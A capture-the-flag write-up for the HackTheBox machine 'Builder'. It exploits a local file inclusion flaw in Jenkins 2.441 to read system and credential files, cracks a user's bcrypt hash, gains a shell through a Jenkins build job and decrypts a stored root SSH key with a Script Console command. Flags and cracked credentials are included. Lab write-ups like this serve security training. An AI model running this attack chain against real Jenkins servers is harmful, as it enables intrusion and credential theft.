Metadata

Platform: HackTheBox
CTF: Builder
OS: Linux
Difficulty: Medium

Summary

This machine exposes an outdated Jenkins installation, suffering from a local file inclusion vulnerability. By exploiting it, we can extract credentials of a user account in form of a password hash. Once we crack this hash, it’s possible to log into the application and spawn a reverse shell over a malicious job configuration.

Over the same application, we can let Jenkins decrypt an authentication secret of an account called root. Since the secret turns out to be a private SSH key, we use it to log into the target machine over SSH as root.

Solution

Reconnaissance

As usual, we start out with an Nmap scan, which reveals two open ports.

nmap -sC -sV 10.10.11.10 -p- -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-27 16:59 CET
Nmap scan report for 10.10.11.10
Host is up (0.055s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open  http    Jetty 10.0.18
| http-robots.txt: 1 disallowed entry 
|_/
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-title: Dashboard [Jenkins]
|_http-server-header: Jetty(10.0.18)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

These results indicate that port 8080 hosts a Jenkins web application, which we can visit in a browser.

Sadly, this application does not allow us to interact much with it, as we otherwise would be required to log in, for which we don’t have any credentials. Nevertheless, the bottom right corner discloses the Jenkins installation’s version to be 2.441. This is quite interesting, as there is a public exploit for this version, which leverages a misinterpretation of the @ character, leading to a local file inclusion vulnerability. Let’s test it locally on our machine.

User Flag

python3 exploit.py -u http://10.10.11.10:8080   
Press Ctrl+C to exit
File to download:
> /etc/hosts
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.2      0f52c222a4cc
::1     localhost ip6-localhost ip6-loopback
ff00::0 ip6-mcastprefix
127.0.0.1       localhost
fe00::0 ip6-localnet
File to download:
>

This works flawlessly! We now have a way to enumerate the target’s file system. One of the first things we should enumerate are the users on the system by requesting /etc/passwd.

>/etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
root:x:0:0:root:/root:/bin/bash
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

Based on this output, it seems like jenkins is the only non-standard user account with a configured shell and a slightly unusual home directory at /var/jenkins_home. While we could already read the user flag in this directory, let’s wait until we have a proper shell. To spawn one, we likely need to acquire a set of credentials, in order to inject a reverse shell into Jenkins. The question is, where does Jenkins store user credentials? For this, we could either create our own installation locally and check for these credentials, or we can focus on the according documentation, which we will do for this box.

According to this page of the documentation, we can already deduce that we are in a Docker container instead of a native installation, based on the home directory’s path. According to this blog post, we should therefore find credentials.xml in this folder, which might contain credentials of user accounts.

/var/jenkins_home/credentials.xml
<?xml version='1.1' encoding='UTF-8'?>
<cut>
<privateKey>{AQAAABAAAAowLrfCrZx9baWliwrtCiwCyztaYVoYdkPrn5qEEY<cut>sHaB1OTIcTxtaaMR8IMMaKSM=}</privateKey>
</privateKeySource>
<username>root</username>
<usernameSecret>false</usernameSecret>
</com.cloudbees.plugins.credentials.domains.Domain><com.cloudbees.plugins.credentials.domains.Domain>

This is interesting! There exists an account called root, which uses an SSH private key to authenticate to the service, which was saves in an encoded format. However, as of right now, we can’t access this key, since we would either need the corresponding key for decryption, or access to Jenkins’ script console. Consequently, we need to keep our eyes open for other credentials.

Upon further research, I stumbled across a post, which showcases how credentials are laid out in the file system. According to the authors claims, there should exist a users folder, in which we might find users.xml.

/var/jenkins_home/users/users.xml
<?xml version='1.1' encoding='UTF-8'?>
<string>jennifer_12108429903186576833</string>
<idToDirectoryNameMap class="concurrent-hash-map">
<entry>
<string>jennifer</string>
<version>1</version>
</hudson.model.UserIdMapper>
</idToDirectoryNameMap>
<hudson.model.UserIdMapper>
</entry>

This file mentions a user jennifer with a corresponding identification string jennifer_12108429903186576833, which represents the folder with this account’s credentials.

/var/jenkins_home/users/jennifer_12108429903186576833/config.xml
 
<cut>
<emailAddress>jennifer@builder.htb</emailAddress>
<cut><passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>

Finally, we obtain a password hash. After saving $2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a to a file, we can let Hashcat crack it.

hashcat hash -m 3200 /usr/share/wordlists/rockyou.txt
 
<cut>
$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a:princess
<cut>

Using the credentials jennifer:princess, we are able to log into the Jenkins web application. As far as I am aware, there are several possible ways to obtain a shell on Jenkins if we have a set of credentials. One of these possibilities is the creation of a new job with the type freestyle project.

In the configuration of this job, it’s possible to add build steps, which will be executed on the target system. By adding a simple reverse shell payload, we obtain a fully functioning foothold once we start the building process of this project, and get a connection to our Netcat listener.

4c561f9b75a407b3905856522c35524d

Root Flag

Remember the SSH key we were not able to decrypt earlier? Due to our Jenkins access via the jennifer account, we can now let the application decrypt it for us. This might be a valuable thing to do, as this key was created for authentication as the root user. It’s not a reach to think that it might be the same SSH key for the SSH service on the target machine, with which we could log in as root. To decrypt this key, we can either extract the corresponding secret, or let Jenkins do the heavy lifting for us by visiting the page for the Script Console and enter the following line:

println hudson.util.Secret.decrypt("{THE ENCRYPTED KEY}")

The output is the SSH private key.

Now the only step left for us to do is to save it to a file and change the access permissions accordingly, so SSH allows us to use it for authentication purposes.

chmod 400 key

Using this key, we can log in as root over SSH and claim the root flag.

39a572d9b87ba448113c32d2249fb213

Security Vault

Explorer

Builder

Metadata

Summary

Solution

Reconnaissance

User Flag

Root Flag

Graph View

Table of Contents

Backlinks